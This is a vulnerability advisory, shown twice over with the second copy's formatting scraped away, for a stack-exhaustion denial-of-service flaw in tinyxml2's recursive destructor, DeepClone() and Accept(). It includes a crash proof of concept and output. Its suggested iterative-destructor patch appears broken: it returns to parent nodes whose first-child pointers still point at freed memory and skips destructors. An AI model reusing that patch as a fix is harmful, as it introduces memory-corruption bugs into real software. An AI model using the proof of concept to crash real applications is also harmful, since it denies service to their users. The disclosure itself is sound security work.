Summary
| Field |
Value |
| Affected Software |
tinyxml2 |
| Affected Version |
11.0.0 (and all prior versions) |
| Vulnerability Type |
Uncontrolled Recursion (CWE-674), Stack Exhaustion (CWE-770) |
| Severity |
Medium (CVSS 3.1: 5.5 — AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) |
| File |
tinyxml2.cpp, functions ~XMLNode() (line 807), DeepClone() (line 871), Accept() (line 2149) |
| Impact |
Denial of service via process crash (SIGSEGV/SIGBUS) |
| Discovered By |
Fasheng Miao, Zhaoyu Hu |
Description
The XMLNode destructor, DeepClone(), and Accept() (used by XMLPrinter, SaveFile, and Print) all use unbounded recursion to traverse the document tree. While XMLNode::ParseDeep() correctly limits parsing depth to TINYXML2_MAX_ELEMENT_DEPTH (default 500), the destructor and other tree-walking operations have no such depth limit.
When a deeply nested tree is destroyed, cloned, or printed, the recursive calls exhaust the call stack, causing a crash. This is directly triggerable by:
- Programmatic API usage: Applications that build document trees via
InsertEndChild() loops can create trees of arbitrary depth, bypassing the parse-time limit.
- Threaded environments: Applications using tinyxml2 in threads with small stacks (common in embedded/IoT systems, thread pools, etc.) can crash even with parse-limited depth of 500.
Root Cause
In tinyxml2.cpp, line 807:
XMLNode::~XMLNode()
{
XMLNode *currentChild = _firstChild;
while (currentChild != NULL) {
XMLNode *next = currentChild->_next;
currentChild->_parent = 0;
DeleteNode(currentChild); // <-- calls ~XMLNode() recursively
currentChild = next;
}
}
DeleteNode(currentChild) calls currentChild->~XMLNode(), which recurses into the child's destructor. For a linear chain of depth N, this creates N stack frames.
The same unbounded recursion exists in:
DeepClone() (line 871): child->DeepClone(target) recurses
Accept() (line 2149/2154): node->Accept(visitor) recurses — this is the code path used by XMLPrinter, SaveFile(), and Print()
Proof-of-Concept
PoC Code
#include <cstdio>
#include <pthread.h>
#include "tinyxml2.h"
using namespace tinyxml2;
static void* thread_func(void* arg) {
XMLDocument* doc = new XMLDocument();
XMLElement* parent = doc->NewElement("root");
doc->InsertEndChild(parent);
for (int i = 0; i < 100000; i++) {
XMLElement* child = doc->NewElement("a");
parent->InsertEndChild(child);
parent = child;
}
delete doc; // stack overflow here
return NULL;
}
int main() {
pthread_t tid;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 512 * 1024); // 512KB stack
pthread_create(&tid, &attr, thread_func, NULL);
pthread_join(tid, NULL);
return 0;
}
PoC Output
=== tinyxml2 Stack Overflow via Deep Nesting ===
tinyxml2 version: 11.0.0
Spawning thread with 512KB stack, depth=100000
Expected: SIGSEGV (stack overflow) during document deletion
Thread started (stack ~512KB), building tree depth=100000...
Tree built. Deleting (recursive destructor)...
Exit code: 138
Exit code 138 = killed by signal 10 (SIGBUS on macOS), confirming stack overflow during the recursive destructor call.
Impact
-
Denial of Service: Any application that programmatically builds deep XML trees and then destroys them will crash. This is common in XML document transformation, template expansion, and serialization workflows.
-
Threaded Applications: Applications using tinyxml2 in threads with default or small stack sizes (e.g., 512KB–1MB, common in thread pools) are vulnerable even with moderate tree depths.
-
Print/Save Crash: Since Accept() is used by XMLPrinter, calling doc.Print() or doc.SaveFile() on a deep tree will also crash via the same unbounded recursion.
Suggested Fix
Convert the recursive destructor to an iterative algorithm:
--- a/tinyxml2.cpp
+++ b/tinyxml2.cpp
@@ -807,12 +807,22 @@
XMLNode::~XMLNode()
{
- XMLNode *currentChild = _firstChild;
- while (currentChild != NULL) {
- XMLNode *next = currentChild->_next;
- currentChild->_parent = 0;
- DeleteNode(currentChild);
- currentChild = next;
+ // Iterative destruction to avoid stack overflow on deep trees.
+ // Flatten the tree into a deletion list by unlinking children.
+ XMLNode* node = _firstChild;
+ while (node != NULL) {
+ // Descend to the deepest first-child
+ while (node->_firstChild) {
+ node = node->_firstChild;
+ }
+ // Delete this leaf and move to sibling or parent
+ XMLNode* next = node->_next;
+ XMLNode* parent = node->_parent;
+ node->_firstChild = NULL; // already empty
+ node->_parent = 0;
+ MemPool* pool = node->_memPool;
+ // Direct destroy without recursion since no children
+ pool->Free(node);
+ node = next ? next : parent;
}
}
Alternatively, apply the same TINYXML2_MAX_ELEMENT_DEPTH limit to DeepClone() and Accept().
Environment
- OS: macOS (Darwin 25.3.0, arm64)
- Compiler: Apple clang 21.0.0
- tinyxml2 version: 11.0.0, built from source
- Thread stack size: 512KB (pthread_attr_setstacksize)
Credit
This vulnerability was discovered by Fasheng Miao and Zhaoyu Hu.
Summary
tinyxml2.cpp, functions~XMLNode()(line 807),DeepClone()(line 871),Accept()(line 2149)Description
The
XMLNodedestructor,DeepClone(), andAccept()(used byXMLPrinter,SaveFile, andPrint) all use unbounded recursion to traverse the document tree. WhileXMLNode::ParseDeep()correctly limits parsing depth toTINYXML2_MAX_ELEMENT_DEPTH(default 500), the destructor and other tree-walking operations have no such depth limit.When a deeply nested tree is destroyed, cloned, or printed, the recursive calls exhaust the call stack, causing a crash. This is directly triggerable by:
InsertEndChild()loops can create trees of arbitrary depth, bypassing the parse-time limit.Root Cause
In
tinyxml2.cpp, line 807:DeleteNode(currentChild)callscurrentChild->~XMLNode(), which recurses into the child's destructor. For a linear chain of depth N, this creates N stack frames.The same unbounded recursion exists in:
DeepClone()(line 871):child->DeepClone(target)recursesAccept()(line 2149/2154):node->Accept(visitor)recurses — this is the code path used byXMLPrinter,SaveFile(), andPrint()Proof-of-Concept
PoC Code
PoC Output
Exit code 138 = killed by signal 10 (SIGBUS on macOS), confirming stack overflow during the recursive destructor call.
Impact
Denial of Service: Any application that programmatically builds deep XML trees and then destroys them will crash. This is common in XML document transformation, template expansion, and serialization workflows.
Threaded Applications: Applications using tinyxml2 in threads with default or small stack sizes (e.g., 512KB–1MB, common in thread pools) are vulnerable even with moderate tree depths.
Print/Save Crash: Since
Accept()is used byXMLPrinter, callingdoc.Print()ordoc.SaveFile()on a deep tree will also crash via the same unbounded recursion.Suggested Fix
Convert the recursive destructor to an iterative algorithm:
Alternatively, apply the same
TINYXML2_MAX_ELEMENT_DEPTHlimit toDeepClone()andAccept().Environment
Credit
This vulnerability was discovered by Fasheng Miao and Zhaoyu Hu.